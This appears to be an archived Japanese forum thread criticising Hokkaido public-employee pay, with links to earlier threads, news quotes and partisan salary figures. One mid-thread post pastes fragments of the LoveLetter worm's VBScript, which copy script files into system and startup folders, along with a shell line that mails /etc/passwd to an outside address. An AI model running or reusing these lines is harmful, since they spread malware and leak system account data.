【道職員１人に】高すぎる北海道公務員人件費Part.65【９６６万円】

不況による税収減で道内の地方公共団体のほとんどが財政赤字にあえぐ中、
国からの補助金も大幅に削減される流れができつつあり、道も市町村も、
財政支出を大幅に削減し、道内の景気回復は全国水準より遅れています。
しかし公務員人件費だけは、激変緩和と称して削減が先送りされています。

北海道庁を例に取ると、職員給与は全体平均で７３３．８万であり、
既に民間給与平均を大きく超えていますが、退職金や共済掛金もあり、
人件費全体では８１千人に対して７８３０億円の費用がかかっています。
http://www.pref.hokkaido.jp/skikaku/sk-skoho/pr-magazine/2004-3/p19_1.html

このため財政立て直しプランが作られ、再建団体転落を避けようと、
見直しが行われていますが、人件費の削減はやはり遅れています。
http://www.pref.hokkaido.jp/soumu/sm-zisei/zaisei/mokuji.htm

最近では不足分を調達するための道債の引き受けも金融機関に断わられ、
道民から広く資金を調達しようと道民債のＰＲがさかんに行われています。
http://www.pref.hokkaido.jp/soumu/sm-zisei/zaisei/dosai/dousai-top.htm

なお人件費に関する官庁の発表・報道について、ニュースやソースを引用する際は、
そのまま引用すると正確な数値ではない可能性があることに注意して下さい。
例１・国家公務員の平均年収･･･超過勤務手当などを含まない所定内賃金のみで発表。
例２・道職員(一般行政職)のボーナス支給額･･･一般職の行政職ではなく管理職等除外。

★このような状況のもと、北海道の公務員人件費について議論するスレです。

★根拠のない書き込み・決め付け・粘着行為・叩き・煽りはやめましょう。
　(特に妬み・僻み・泥棒などの言葉は慎むこと）
★板違い・スレ違いな話題の提示・誘導行為はやめましょう。
★荒らしにレスせず削除依頼。自治的行為のつもりでも煽り合いになります。

２GET!

道職員になるのって、試験があるんだろ。
試験のレベルってどんなの？
高卒レベルなのか？

前スレです。

【道職員１人に】高すぎる北海道公務員人件費Part.64【９６６万円】
http://hokkaido.machi.to/bbs/read.pl?BBS=hokkaidou&KEY=1099882025

新スレ、乙！
おい、誰か初スレからの全シリーズを貼らないのか？

しょうがねぇ・・・・・・
じゃ、漏れが貼っとくぞ！

過去スレ　１〜３０
給料
http://mimizun.com:81/log/machi/hokkaidou/993824766.html
給与２
http://mimizun.com:81/log/machi/hokkaidou/994565452.html
高すぎる道・市の給料
http://mimizun.mine.nu:81/log/machi/hokkaidou/994644756.html
高すぎる道・市の給料２
http://mimizun.com:81/log/machi/hokkaidou/995279340.html
高すぎる道・市の給料３
http://mimizun.com:81/log/machi/hokkaidou/997332505.html
高すぎる道・市の給料4
http://mimizun.com:81/log/machi/hokkaidou/1025585617.html
高すぎる（らしい）道・市の給料５
http://hokkaido.machibbs.net/kako2/1031746160.html
高すぎる道・市の給料６
http://hokkaido.machibbs.net/kako2/1033408127.html
(どうも）高すぎる（らしい）道・市の給料・７
http://hokkaido.machibbs.net/kako2/1034422372.html
(どうも）高すぎる（らしい）道・市の給料・Part８
http://hokkaido.machibbs.net/kako2/1036401390.html
(それでも）高すぎる（らしい）道・市の給料・Part９
http://hokkaido.machibbs.net/kako2/1037401795.html
(それでも）高すぎる（らしい）道・市の給料・Part10
http://hokkaido.machibbs.net/kako2/1038004993.html
(それでも）高すぎる（らしい）道・市の給料・Part11
http://hokkaido.machibbs.net/kako2/1038743366.html
(それでも）高すぎる（らしい）道・市の給料・Part12
http://hokkaido.machibbs.net/kako2/1039611419.html
高すぎる道市職員と教員の給与・part13
http://hokkaido.machibbs.net/kako2/1040472547.html
(やっぱり）高すぎる（らしい）道・市と教員の給料・Part14
http://hokkaido.machibbs.net/kako2/1041517595.html
どう考えても無駄で高い、公務員とその給料
http://mimizun.com:81/log/machi/hokkaidou/1044356630.html
【知事選】おい、税金寄付してんのか！公務員の給料　16弾【市長選】
http://mimizun.com:81/log/machi/hokkaidou/1047909395.html
【知事選】おい、税金寄付してんのか！公務員の給料　17弾【市長選】
http://mimizun.com:81/log/machi/hokkaidou/1049602146.html
【全道庁】高すぎる道市教員の給与１等級８号俸【北教組】
http://mimizun.com:81/log/machi/hokkaidou/1052406131.html
【全道庁】高すぎる道市職員と教員の給与１等級９号俸【北教組】
http://mimizun.com:81/log/machi/hokkaidou/1054447942.html
【全道庁】高すぎる道市職員教員給与初年度から年休２０日【北教組】
http://mimizun.com:81/log/machi/hokkaidou/1057931027.html
【全道庁】高すぎる道公務員給与〜有給２１日目は病欠で【北教組】
http://mimizun.com:81/log/machi/hokkaidou/1059066030.html
【全道庁】高すぎる道公務員給与 月勤務は22日未満【北教組】
http://mimizun.com:81/log/machi/hokkaidou/1059923477.html
【全道庁】高すぎる(らしい)道公務員給与 Part.23【北教組】
http://mimizun.com:81/log/machi/hokkaidou/1061085161.html
【全道庁】高すぎる(らしい)道公務員給与 Part.24【北教組】
http://mimizun.com:81/log/machi/hokkaidou/1062330051.html
【今だにマル経】高すぎる道給与２５【道職はトリビア？】
http://mimizun.com:81/log/machi/hokkaidou/1062904322.html
【全道庁】高すぎるぞ北海道の公務員給与 Part.26【北教組】
http://mimizun.com:81/log/machi/hokkaidou/1063728947.html
【全道庁】高すぎるぞ北海道の公務員給与 Part.27【北教組】
http://mimizun.com:81/log/machi/hokkaidou/1064114510.html
【全道庁】高すぎるぞ北海道の公務員給与 Part.28【北ｳ組】
http://mimizun.com:81/log/machi/hokkaidou/1064532736.html
【全道庁】高すぎるぞ北海道の公務員給与 Part.29【北教組】
http://mimizun.com:81/log/machi/hokkaidou/1064934529.html
【全道庁】高すぎるぞ北海道の公務員給与 Part.30【北教組】
http://mimizun.com:81/log/machi/hokkaidou/1064934788.html

過去スレ　31−
【全道庁】高すぎるぞ北海道の公務員給与 Part.31【北教組】
http://mimizun.com:81/log/machi/hokkaidou/1066532223.html
【全道庁】高すぎるぞ北海道の公務員給与 Part.32【北教組】
http://mimizun.com:81/log/machi/hokkaidou/1067096568.html
【全道庁】高すぎるぞ北海道の公務員給与 Part.33【北教組】
http://mimizun.com:81/log/machi/hokkaidou/1067668475.html
【予算な〜い】高すぎる道公務員給与 Part.34【仕事な〜い】
http://mimizun.com:81/log/machi/hokkaidou/1068043910.html
【高すぎる】道の公務員給与 Part.35【保護費？】
http://mimizun.com:81/log/machi/hokkaidou/1068984920.html
高すぎる】道の公務員給与 Part.36【保護費？】
http://mimizun.com:81/log/machi/hokkaidou/1069672872.html
【仕事は】高すぎる道公務員保護費 Part.37【スト】
http://mimizun.com:81/log/machi/hokkaidou/1070027045.html
【違法スト】高すぎる道公務員給与 Part.38【受取拒否】
http://mimizun.com:81/log/machi/hokkaidou/1070717960.html
【仕事に】高すぎる道公務員給与 Part.39【見合う？】
http://mimizun.com:81/log/machi/hokkaidou/1071539546.html
【仕事に】高すぎる道公務員給与 Part.40【見合う？】
http://mimizun.com:81/log/machi/hokkaidou/1071975482.html
【仕事に】高すぎる道公務員給与 Part.41【見合う？】
http://mimizun.com:81/log/machi/hokkaidou/1072336462.html
北海道公務員給与 Part.42
http://mimizun.com:81/log/machi/hokkaidou/1072875731.html
（高すぎるかな？）北海道公務員給与 Part.43
http://mimizun.com:81/log/machi/hokkaidou/1073393440.html
（高すぎるかな？）北海道公務員給与 Part.44
http://mimizun.com:81/log/machi/hokkaidou/1073910386.html
北海道公務員（給与）Part.45
http://mimizun.com:81/log/machi/hokkaidou/1074401287.html
北海道公務員（給与）Part.46
http://mimizun.com:81/log/machi/hokkaidou/1075291799.html
北海道公務員（給与）Part.47
http://mimizun.com:81/log/machi/hokkaidou/1075726834.html
北海道公務員（給与）Part.48
http://mimizun.com:81/log/machi/hokkaidou/1076127778.html
高すぎる？北海道公務員（給与）Part.49
http://mimizun.com:81/log/machi/hokkaidou/1076724035.html
(高すぎる)北海道公務員（給与）ついに達成【Part.50】
http://mimizun.com:81/log/machi/hokkaidou/1076942368.html
高すぎる北海道公務員給与【Part.51】
http://mimizun.com:81/log/machi/hokkaidou/1077328971.html
高すぎる北海道公務員給与【Part.52】
http://mimizun.com:81/log/machi/hokkaidou/1078134174.html
高すぎる北海道公務員給与【Part.53】
http://mimizun.com:81/log/machi/hokkaidou/1079946019.html
高すぎる北海道公務員給与【Part.54】
http://mimizun.com:81/log/machi/hokkaidou/1080531552.html
高すぎる北海道公務員給与【Part.55】
http://mimizun.com:81/log/machi/hokkaidou/1081732173.html
高すぎる北海道公務員給与【Part.56】
http://mimizun.com:81/log/machi/hokkaidou/1083501352.html
高すぎる北海道公務員給与【Part.57】
http://mimizun.com:81/log/machi/hokkaidou/1085145839.html
高すぎる北海道公務員給与【Part.58】
http://mimizun.com:81/log/machi/hokkaidou/1087310527.html
高すぎる北海道公務員給与【Part.59】
http://mimizun.com:81/log/machi/hokkaidou/1088978971.html
高すぎる北海道公務員給与【Part.60】
http://mimizun.com:81/log/machi/hokkaidou/1090571236.html
【道職員１人】高すぎる北海道公務員人件費Part.61【９６６万円】
http://hokkaido.machi.to/bbs/read.pl?BBS=hokkaidou&KEY=1093780339
【道職員１人に】高すぎる北海道公務員人件費Part.62【９６６万円】
http://hokkaido.machi.to/bbs/read.pl?BBS=hokkaidou&KEY=1095172040
【道職員１人に】高すぎる北海道公務員人件費Part.63【９６６万円】
http://hokkaido.machi.to/bbs/read.pl?BBS=hokkaidou&KEY=1096786644

>>7

http://hokkaido.machibbs.net/matome/pukiwiki.php

これでテンプレ化してしまえば？

財務省は、東京都を除くすべての道府県の地方公務員の平均給与が、その地域の民間企業のサラリーマンより高くなっているとする調査結果をまとめた。

　最も格差が大きい山形、沖縄では官の給与が民を３割弱上回り、全都道府県の単純平均でも約１４％の格差があったが、監視役の都道府県の人事委員会は官民格差の是正に動いていない。

　財務省は地方交付税（交付金）の算定根拠となる地方財政計画に７兆―８兆円の過大計上があり、他に使うべき支出が人件費にも使い回されているとみて、地方公務員給与の抜本的な見直しを求める方針だ。

地方公務員は日本の地域のニートである。

>>7の続き
【道職員１人に】高すぎる北海道公務員人件費Part.64【９６６万円】
http://hokkaido.machi.to/bbs/read.pl?BBS=hokkaidou&KEY=1099882025

いつの間にか新スレ立っていて、みなさん乙。さんくす。(涙)

前スレの終わり頃に、公務員人件費をケチると景気がさらに悪くなる、と
さかんに言っていた人がいたみたいですが、そんなことを言っているのは
公務員組合だけで、普通の一般教養のある人はなかなか言えないことでつ。

たとえば道の人件費７８３０億を半減させるだけなら景気は悪くなります。
しかし人件費を半減させて浮いた３９１５億を直接支出すればいいのです。
あるいは３９１５億の半分を支出に、半分を新規雇用にすれば一石二鳥。

限界消費性向という言葉を、大卒公務員なら昔聞いたことがあるでしょう。
公務員の貯蓄に回る部分を苦しい財政から出すのはお金の無駄なのです。
浮いた分は失業者に回しても、直接支出しても、ほぼ消費に回ります。

２０代３００万、３０代４００万、４０代４５０万、５０代４５０万。
そんな平均給与にして、退職金９割カットすれば人件費は半分になる。
高年齢の世代は老後の蓄えも始めているだろうからそれも消費に回る。

人件費７８３０億円を道民５７０万人で割ると、１人当たり１３万円、
標準４人世帯に直すと約５０万ずつ、道職員の人件費を負担しています。
逆に言えば、人件費を半分にすれば、標準４人世帯で２５万の売上増、
さらにそれは相互に連関しながら売上に貢献していくことになります。
これで、北海道の景気は一気に上向くわけです。めでたし、めでたし。

＞人事評価制度を試験導入へ　公務員制度改革で政府

http://www.hokkaido-np.co.jp/Php/kiji.php3?&d=20041206&j=0023&k=200412067655

公務員改革をやる気のないコイズミのもと、内容はまだまだですね。
ただ>>9の言うとおり、国は地方公務員の給与が高すぎるとしつこく発表しており、
地方交付税交付金の削減という実力行使もしながら、包囲網を固めつつあるようです。

国も地方も財政難の中で、少ないパイを奪い合う醜い争いが始まっているわけです。

ここでするべきことはただ一つ、国に対する反逆です。
まともにやっては勝ち目がないわけですから、ゲリラ戦、自爆テロですね。
道内地方公務員全員の給料の初任給との差を半分に圧縮、退職金９割カット。
国は真似できないから、この、地方からの反逆は、一方的勝利に終わります。
めでたし、めでたし。

地方公務員を淘汰するだけで気分がよくなり景気が回復します。景気は気であることが実感できるでしょう。

＞淘汰するだけで気分がよくなり

それじゃぁ単なる叩きになってしまいそうだｗ。

非効率な行政システムと高すぎる公務員人件費による閉塞感や、
将来の増税圧力が、現在のデフレ・不況の元となっているのは、
間違いないんだが･･･。

盲腸のような存在から、膿瘍に悪化しつつあるということか？

>>10
ニートではないよ。

仕事始めの月曜日のそんな時間に、カキコしているあなたがニートでは？

地方公務員の給与を減らしてその分を住民に回るのは自主財源が豊かなところだけでしょ。
北海道の場合、減った分交付税が減らされるだけで道民に回って来ないんじゃない。

俺は地方公務員の給与はその地方の給料を参考にすべきで、今は高すぎると思ってるんで勘違いしないでね。

＞12
何が９割カットよ？
給料が民間レベルになって公務員やる価値あんの？
そんなことしても益々公務員の質を下げるだけ！
公務員公務員て、味噌もクソも一緒にしないで欲しい。。。
甘い汁吸ってるのは一部の連中なんだから！
公務員っつってもイロイロあんのよ！
ホントに人のために頑張ってる公務員だっているんだよ！

>>９
そのニュースといい先日の経団連の奥田会長の地方公務員の人件費削減要望といい地方の交付税の使われ方に対する不信感があるね。この話なら一般の国民の理解も得られるし改革を行ったという格好もつく。７．８兆円規模の交付税の削減は北海道に一番影響を与える。様は少なくなったパイでは地方にお金を落とす余裕がないということだね。北海道は一気にやばい情況になる可能性が高い。前も書いたけど財務省は本気モードだね。自分達の生き残りのために。

>>17
> 給料が民間レベルになって公務員やる価値あんの？

公務員給与は民間レベルに抑えるのが前提のはずだが
いつからその前提が変わったのか説明してくれ。

> 甘い汁吸ってるのは一部の連中なんだから！
> ホントに人のために頑張ってる公務員だっているんだよ！

甘い汁を吸ってる連中を排除する自浄努力をしろ。
そうすれば頑張ってると認めてもらえるだろう。

近い将来公務員では、家庭を維持していくのが困難になるだろうね。

>>9
歳出のうち、人件費の占める割合を約1/3程度くらいに絞っても、
この程度の給与は捻り出せるようだ。
「みどりのおばさん」(学童擁護)　　年間８０２万円(平成１３年度実績)
公立学校の調理員、学校給食調理員　年間９０９万円(平成１３年度実績)
http://www.iwao.gr.jp/oh_01.html

歳出のうち半分程度が人件費にあてられている道内自治体は、ぜひ、参考に
してほしい。

>>17

＞ホントに人のために頑張ってる公務員だっているんだよ！
ときれい事を言っている一方で、
＞給料が民間レベルになって公務員やる価値あんの？
と、金のために公務員をやって当然と言わんばかり。
公務員は嘘つきだとますます信用を失うとすれば残念だ。

＞そんなことしても益々公務員の質を下げるだけ！

これ以上下がりようがないし、むしろ入れ替えが必要だろう。

＞公務員公務員て、味噌もクソも一緒にしないで欲しい。。。
＞甘い汁吸ってるのは一部の連中なんだから！
＞公務員っつってもイロイロあんのよ！

悪いヤシや仕事しないヤシを見て、自分はアイツラよりまともだ、と、
安心して胸を張るのは、目標設定が低くて、楽な方へと流れがちな、
公務員の特徴が見事に表れている気がする。
民間一流企業では、普通、デキルヤシを見て頑張ろうとするものだが。

そんな弱点克服のためにも基本給大幅切り下げが必要なのだが･･･。
努力すれば能力給で評価されるようになれば、問題ないと思うのだが。

>>20

＞近い将来公務員では、家庭を維持していくのが困難になるだろうね。

最低年収３００万(独身２４０万)にすればそこまでひどいことはないだろう。

近い将来公務員人件費のせいで、一般世帯の家庭を維持していくのが困難になるだろうね。
･･･という時代が近くなりつつある方が問題かと。

少子高齢化が進む中、医療・介護・年金などの負担も増えるから、
これまで通りに税金を公務員が食うために使う余裕はないわけで。

＞道から社会福祉法人へ　天下り、０１年度以降４年間で１０人

http://www.hokkaido-np.co.jp/Php/kiji.php3?&d=20041207&j=0022&k=200412078176

＞介護報酬不正受給をめぐる贈収賄事件の舞台となった社会福祉法人札幌恵友会に
＞道職員二人が再就職していた問題に関し、道は道内の社会福祉法人に再就職した
＞道職員が二○○一年度以降の四年間で十人いることを明らかにした。

＞道は十人のいずれのケースも「要綱に基づいており適切」との認識を示した。

前石狩支庁長の贈収賄は、単なる個人の犯罪ではなく、
組織の体質によるものだといえそうだ。
課長以上は退職時に補助金を受けている団体に天下りして当然、
という考え方が改まらない限り、無駄遣いはなくなりそうにない。

公務員擁護発言は叩かれる。

>>24 　iij4u.or.jpﾀｿ、
以前、過去スレでギロンした「天下りの実態」を以下に挙げておく。

しかも天下り天国ときたもんだ！
公益法人等が道庁幹部の権益となっているのは周知の事実だ。
・課長相当職以上の道職員の天下り状況：
　　　平成１３年度末の就任者２１７名
・外郭団体（総数８９３団体の内、主だった１７７団体）における
　職員数と管理職員との比率：
　　　１７７団体の職員総数５９５７人のうち管理職１１１２人
・この主だった１１７団体の平成１３年度決算における実態：
　出資　　　　　　７８６億９６１５万円
　補助金　　　　　６０７億２１４７万円
　総額　　　　　１３９４億円強に相当
で、これは繰り返すがあくまでも総数８９３団体の内、主だった１７７団体
での話であって、他の団体を考慮すると総額が膨れ上がるのは推して知るべし
だろ？

↑続き・・・
しかも、天下り先は計らずとも赤字天国だ。
道の出資金及び補助金を拠出している株式会社４５社のうち、累積赤字は
２４社にわたり、のべ総額１００億３１０３万円の赤字となっている。
ま、コスト意識とは無縁ともいえる、これら道の外郭団体が既得権益
「浪費システム体系」を創出していると言っても過言ではないだろ。
この他、６０７億円以上もの補助金を支出している外郭団体の内訳は、
「協議会」「互助会」「振興財団」等、存続の必要性が全く無いにも拘わらず、
既得権として厳然と存続している・・・・。　　
だからなぁ、結論として、これらの無駄を切り捨てるんだ、と。
はるみﾀｿ、
当たり前の事を何故できない、ん？
知事だろ、チジィ！！　綺麗さっぱりと解決しる！

>>25

擁護意見だから叩かれるのではない、あまりに内容がひどいから批判されている。
それと、誤解のないように言っておくが、漏れは公務員擁護派だ。

>>26>>27

ニコルﾀﾝ乙！！！
懐かしい（古い）資料だが、天下りの実態はあまり変わっていない。
天下り人件費以外にも、天下りするために無理やり団体を作り、
無理やり無駄な仕事を作ることによる金の無駄も大きい。
公務員の仕事も、よく考えると仕事をするふりができるように
組み立てられていれば無駄だらけになるが、その延長ということか。

↑28　どもｗ

＞公務員の仕事も、よく考えると仕事をするふりができるように
＞組み立てられていれば無駄だらけになるが、その延長ということか。
そでつ。
既得権益、「行政システム上の瑕疵」を盾に取り、
ヌクヌクとシュクシュクと、そしてルイルイと
「オゾマシキ無駄システム」を築き上げ続けるのでつ。

おまいら、

　　　　　い　　い　　か　　げ　　ん　　に、　し　　る　！

＞ヌクヌクとシュクシュクと、そしてルイルイと
＞「オゾマシキ無駄システム」を築き上げ続ける

ルイルイという歌が昔あったが、それと同じくらいお気楽だね。

財源移譲の流れの中、自主財源が増えるよう道民経済に気を配ることもせず、
農家に例えれば、備蓄分の食糧も次の生産のための種もみもすべて食い潰し、
国からの補給継続を夢見て、道民にはオマイラ稼ぎが悪いぞと当り散らし、
無能とかごくつぶしとか言われれば逆ギレする、そんな人間にはなりたくないものだ。

納税は国民の義務と自分に言い聞かせ、自分を納得させ、
シブシブ支払う人のなんと多い事
その誠意に行政、政府は答えてくれましたか？
役所から検察までのすみずみまで、行き渡っている裏金。
贈収賄は氷山の一角、不祥事は日常茶判事。
それでも、あなたは税金を払いたいですか？
それでも、あなたは自分をごまかせますか？
あなたの不満を形にすることでしか、行政を変えることは出来ません。

>>31

まあ、ＮＨＫ受信料なら気に入らないから払わないって人もいるのだろうが、
租税の賦課・徴収は公権力の行使だから、気に入らないから払わないという
わけにいかないし、サラリーマンなら源泉徴収されてしまうからなおさらだ。
払わなければ滞納処分で差押、ごまかせばタイーホ･･･否応なく払わされる。

顧客や知り合いの会社経営者によれば、こちらの資金繰りが苦しい時、
国税は少しは待ってもくれるし、少し長めの手形を切っても許されるが、
道税や市税は、手形ダメでキャッシュをすぐに用意しろ、さもなくば･･･と
攻め立てるとのことで、あきれて、滞納処分でも何でもしてくれと言えば、
それはそれで面倒らしく、パッタリと来なくなったりするらしい。

北海道の地方公務員は、徴収の仕方が下手で、面倒な仕事を嫌う半面、
金には意地汚い、というのが仲間内の通説なのだが本当だろうか？

ボーナスも　面の皮ほど　厚くなり

c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail [email protected]
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

http://www.yomiuri.co.jp/national/news/20041206i101.htm
>「独立行政法人、留任役員に“お手盛り賞与”」
>特殊法人や国の機関から移行した１５の独立行政法人が、前団体から留任した
>役員計４２人に対し、高額の退職金を払ったうえ、独立行政法人移行後の最初
>のボーナスでは、前団体での在職期間も含めて計算し、支給していたことが、
>読売新聞の調べでわかった。

これと似たようなことは、財政破綻した北海道庁でも行われているようだ。
３月末で定年退職した人（勿論特別昇給つきでだ）がそのまま北海道に再雇用
される場合に、退職時には退職金をもらっている。だから６月のボーナスは４
月に新規採用した場合と同じなのが常識だが、どうやら「前年の１２月から引
きつつき勤務した」として支払っているらしいのだ。
再雇用された人の多くはどうせ大した仕事は出来ず事実上の戦力外だという噂
もあり、再雇用するだけでも人件費抑制に逆行しているのにさらにボーナスの
支給計算でもこんな加算措置があるなんて信じられない。
金がなくて潰れそうな組織のやることじゃないよな。

まー仕事ができる人はいらないのよｗ
仲良く仕事できる人がいればいいのｗｗ
仕事の失敗をみんなで笑って済ませればいいのｗ
利益追求じゃないのでｗｗ
物壊したらまた買えばいいのｗｗ
報告もしないで黙っていれば・・・
そのうち新しくなるの・・
そうらしよｗ

↑関係者の内部告発の掲載、乙。
ま、漏れも知人がいるが、そんなもんだろ！

ったく腐りきっているな！

昨日は、札幌市職員のボーナス支給日でした。
道新には、「係長職以下」の平均支給額が発表されていましたね。

明日は、道庁職員のボーナス支給日です。
今回も係長職以下を「一般行政職」という紛らわしい表記にして、
平均支給額を実態より安く見せようとするのだろうか。

＞道内民間・冬のボーナス、８年ぶり増加　平均５１万５千円
http://www.hokkaido-np.co.jp/Php/kiji.php3?&d=20041209&j=0024&k=200412099280
＞平均妥結額は五十一万五千三百九十八円（平均年齢三九・四歳）

いくら誤魔化しても１．５倍以上のお手盛りだからどうにもならないのだがｗ。

＞本社所在地別では、道外からの出先企業が３・９９％増、地場企業が０・９１％増と格差が開いた。
＞「本州系の大手企業が全体を底上げした形」（道経協）

しかも地方公務員は出先企業でも何でもないから地場企業の平均適用すべきだねｗ。

＞地場企業の平均適用
・・だな

　今日はボーナス（はぁと）銀行混んでいたなぁ。おらぁ，３０半ばだが，
総支給額が￥蜂拾参萬也。いろいろ引かれた上に，車や家を安い金利で借
りた物の返済が天引きだから手取りは￥禄拾萬也。今期は病欠多かったから
“勤勉手当”満額出なかった。これ当たり前。寒冷地手当出なくて，四苦八
苦。
　コームイン叩きは別に構わないです。でも私が就職した頃はバブル末期（？）
で，資料請求した民間のあちこち（東京，大阪，福岡まで）から「交通費，
宿泊費負担しますから説明会来てください」という電話が多く，丁重に断っ
ても直後にいたずら電話がくる時代。まさに織田裕二さんの映画のような時
代が本当にあったんです。その頃コームイン試験に受かっても民間に行った
友達は，おらより月給もボーナスも比べ物にならないくらい高かったよ…。
だから１２月には民間に合わせ，４月に遡って昇給して，「差額支給」なる
ものまでもらえた。
　あくまで，一般論ではなく，私と私の同期の友人の話です。（嘘は一つも
ない実話）
　ちなみに今日は代休です。

あぼーん

増税で　潤うばかり　公務員
人の金　預かりました　使います
カラ手当て　もらってうれしい　給料日
公務員給料について語るのは納税者の権利ですのでどんどんと語り合いましょう。

【国家公務員】
昨冬より約６万２０００円、１０・１％多い約６７万６０００円（平均年齢３４・５歳）
【地方公務員】
約７万６０００円、１３・３％増の約６４万９０００円（同３５・７歳）

以上、共同通信より。
30歳半ばで83万円支給という40の書き込みはまったくのｶﾞｾﾈﾀ。

あぼーん

あぼーん

43＞
40の話はガセでもなさそうだよ。
私の兄弟も39歳で98万貰ってた。
いいな。公務員。

>>46
30半ばと書いてあるのが読めないｱﾌｫ？

一般人は生活防衛の為に必要最小限の物しか買わない行動に移行し始めている。
このままいくと行政改革は小手先で消費税やその他の負担が上がるのみ。
消費が増えなければ（消費税減になれば）はじめて歳出削減を検討するだろう。
買い物をするのは公務員を応援するようなもの、液晶テレビもデジタル製品も２,３年待てばもっと高性能になっている。
在庫処分の福袋なんかに騙されてはいけない。
欲しがりません公務員の大整理があるまで。

ボーナスボーナスうれしいなあ〜♪

税金ぜいきん増税ぞうぜい

ボーナスボーナスうれしいなあ〜♪

あぼーん

三十代のうちに百万いかないのか
公務員の賞与って大したことないんだな
まあ、公務員のレベルを考えると身分相応か

↑アフォ！
それ以後の昇給率が尋常じゃないんだよ！
過去スレを嫁！

北海道に存在する公務員数はいまの20分の1くらいでもよい。

あぼーん

国が借金７００兆も抱えて置きながら。よくもまぁ、多額のボーナスなんか出せますなｗ
普通会社ならボーナスどころか普段の給与も出ない。
奴らは貰う金額に見合った仕事はしていない。
欲しけりゃ真面目に働いて赤字減らせよ！

大通地下にある住民票などを発行しているところの職員・・・

あのしごとで年収900万とは驚いた。半額でもいいから替わりたい。

>>56
おかげで札幌市は赤字まみれ〜　市バスなくしても気休めかぁ〜

>>56

＞半額でもいいから替わりたい。

半額でも高すぎるからダメｗ。

あぼーん

札幌市の公務員が、年収900万ももらってるわけない。
大通り地下で住民票を発行しているところの職員なんて、せいぜい200万
くらいだろ。（W

>>54
私はｺｳﾑｲﾝだが、53の意見は正しい。
というか、53もｺｳﾑｲﾝだと思う。

>>56
年収900万も無いよ。
嘱託とか臨時が多いと思われ。

>>61

問題は公務員でなくなる20分の19の職員の生活保障ですね。

↑図式はあまり変わらない、っつ〜ことか？

税金で喰っているこ〜むいん
税金で喰わせて貰っている生活保護者

嗚呼、我々の税金が・・・・・

↑ボランティアw

>>63

かつてこのスレのスレタイに「高すぎる保護費」という言葉があったほど、
酷似しているわけで･･･んも〜、知ってるくせに〜･･･ｗ。

日本全体で、少子高齢化による社会保障費の増大が問題になっていますが、
子どもがあまり生まれないし、老人がなかなか死なない(いいことだが)ため、
年金・医療・介護など、支え手が減って、受給者ばかりが増える現象が、
今後数十年にわたって継続するわけですよね。

道内の多くの自治体でもこれと似た現象が起こりつつあるわけです。
１９７０年代までは福祉国家が理想とされ、公務員の新規採用が多かったが、
１９８０年代以降は、新しい公務員があまり「生まれない」ようになった。
そして一旦公務員になってしまえば、誰でも定年までやれるぬるい仕事だし、
また転職しても民間で通用しない(コネ・人脈・権限利用の天下り除く)から、
昔採用された老人たちのほとんどが定年まで生き残る。つまり「死なない」。
道職員の平均年齢は４２歳、民間一流企業ではあり得ない高レベルですね。

じゃあ、５０過ぎた公務員をバタバタと姥捨てして殺せばいいかと言うと、
そうはいかないから、生活保護的な発想が必要になってくるということです。
ただし、右肩上がりの定期昇給はナシにして、頑張っている人だけ昇給、
若手新人以下の仕事ならば３００万くらいまで下げ、それ以下は解雇とか。

厚生年金・国民年金の議論に、支給開始時に現役世代の５割の年収とか、
さらに１０年後２０年後には現実の支出が減少するから目減りさせるとか、
そういうのがあったが、あれと同じで、子どもが高校を卒業した後は、
生活費も減るわけだから給料は少なくても生活できるわけです。
子どもを大学まで入れたいとか、よりリッチな老後をと考える人は、
人一倍努力をして若いうちから能力を磨けばいい、これは当然のことです。

能力給導入の議論も国家公務員で始まっているが、組合側はスト権よこせで、
折れる気配もなく、実施はまだまだ先になりそうですが、このままでは、
公務員大量解雇というハードランディング以外に決着できないのではないか？
公務員にスト権を与えてもいいが、組合員も公務員、当局労務担当も公務員、
人事委員会(国なら人事院)も公務員の息がかかった人たち･･･ではダメだ。
地場賃金が低い北海道内で民間賃金を調査しても全国平均と一緒だという、
インチキ勧告をするインチキ委員会も改革しないとね。

あ、それと言い忘れたが(長文書いて言い忘れたとは何事だｗ)･･･

公務員保護費として支給される最低人件費は、生活保護費と同様、
１００％消費に回るレベル(貯金切り崩して１００％以上も可)だね。
貯蓄に回っても経済効果はないわけだから。

＞公務員に冬のボーナス　減額の昨冬より大幅アップ

http://news.goo.ne.jp/news/kyodo/shakai/20041210/20041210a4660.html

＞管理職を除く一般行政職の平均支給額は、
＞国家公務員が昨冬より約６万２０００円、１０・１％多い約６７万６０００円（平均年齢３４・５歳）で、
＞地方公務員は約７万６０００円、１３・３％増の約６４万９０００円（同３５・７歳）だった。

最近は「管理職を除く」平均支給額を発表するのがはやっているらしい。
少しでも安く見せかけたいという、姑息な考えなんだろうか？

今回は、道職員にボーナスという記事を北海道新聞はｗｅｂ化しないらしい。

新聞記事では、「管理職を除く」の文字すらなく、ただ「一般職員」として、
平均支給額を発表し、さらにその直後に「特別職」の支給額に触れることで、
「一般職員」を「一般職」平均であると誤信させようとする意図がミエミエ。

こっそり、まったり･･･。道新も給与制度で言えば同じ穴のムジナだからね。
こうして批判されることを恐れてｗｅｂ化しないことにしたのだろうかｗ？

↑長文、乙、書き忘れ、乙・・・ｗ
　　　
＞「管理職を除く」の文字すらなく、ただ「一般職員」として、
＞平均支給額を発表し・・・
あれだ、きっと組合に配慮したんだろ、
道新はアッチャ向きだから。
そして、香具師等も北海道としては、「法外」な給与を
貰っているからな、この辺の記事には異様にセンシティヴなんだよ。
偏向記事、ヴァカ丸出しだなｗ

あぼーん

潜在的国民負担率＝国税＋地方税＋社会保険料＋財政赤字)／国民所得　は、既に
４５％以上であり、定率減税廃止と年金保険料上げで２〜３年で５０％を超える。
http://www.mof.go.jp/jouhou/syukei/siryou/sy1608n.pdf
高齢化による社会保障費が拍車をかけ、借金払いのための増税も別に必要だが･･･

冗談じゃねえ、これ以上払わねえぞ！･･･と感じるのが普通だ。

あぼーん

あぼーん

あぼーん

いっしょ社会主（ｒｙ

